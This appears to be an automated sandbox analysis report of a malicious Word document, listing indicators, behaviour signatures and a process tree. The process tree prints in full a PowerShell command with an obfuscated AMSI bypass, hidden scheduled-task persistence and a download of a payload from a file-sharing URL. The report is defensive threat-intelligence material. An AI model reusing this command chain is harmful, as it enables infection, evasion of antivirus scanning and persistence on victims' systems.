Analysis
- max time kernel
101s - max time network
133s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
10/04/2024, 15:02
General
- Target f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3.doc
- Size 1.1MB
- Sample240410-sehfkacb93
- SHA256 f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3
Malware Config
Extracted
-
ps1
-
exe.dropper
https://www.4sync.com/web/directDownload/QHZsERS6/rHb0lMWD.f2e6a9154ab6cd29b337d6b555367580
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f970630a41a2e8fe61fa3f2cf69dff87ac3fb272d006d6af866ca17264b14ff3.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell systeminfo; [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true); schtasks /create /tn WindUpdater /st 00:00 /du 9999:59 /sc once /ri 10 /f /tr 'powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File "C:\Users\Public\WindowsKeys.ps1"'; (New-Object system.Net.WebClient).DownloadFile('https://www.4sync.com/web/directDownload/QHZsERS6/rHb0lMWD.f2e6a9154ab6cd29b337d6b555367580','C:\Users\Public\WindowsKeys.ps1')2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\systeminfo.exe"C:\Windows\system32\systeminfo.exe"3⤵
- Gathers system information
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindUpdater /st 00:00 /du 9999:59 /sc once /ri 10 /f /tr "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -File C:\Users\Public\WindowsKeys.ps1"3⤵
- Creates scheduled task(s)
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_541sqtvl.xoz.ps1
memory/392-562-0x000001938B5D0000-0x000001938B5F2000-memory.dmp
memory/392-579-0x00007FFB0B350000-0x00007FFB0BE11000-memory.dmp
memory/392-567-0x00007FFB0B350000-0x00007FFB0BE11000-memory.dmp
memory/392-569-0x00000193A3D10000-0x00000193A3D20000-memory.dmp
memory/392-568-0x00000193A3D10000-0x00000193A3D20000-memory.dmp
memory/2804-12-0x00007FFAF3DF0000-0x00007FFAF3E00000-memory.dmp
memory/2804-1-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp
memory/2804-14-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-3-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp
memory/2804-6-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-4-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp
memory/2804-15-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-16-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-17-0x00007FFAF3DF0000-0x00007FFAF3E00000-memory.dmp
memory/2804-18-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-19-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-20-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-21-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-2-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp
memory/2804-22-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-13-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-0-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp
memory/2804-11-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-7-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-9-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-10-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-8-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-5-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-585-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-586-0x00007FFB36430000-0x00007FFB36625000-memory.dmp
memory/2804-605-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp
memory/2804-606-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp
memory/2804-607-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp
memory/2804-608-0x00007FFAF64B0000-0x00007FFAF64C0000-memory.dmp
memory/2804-609-0x00007FFB36430000-0x00007FFB36625000-memory.dmp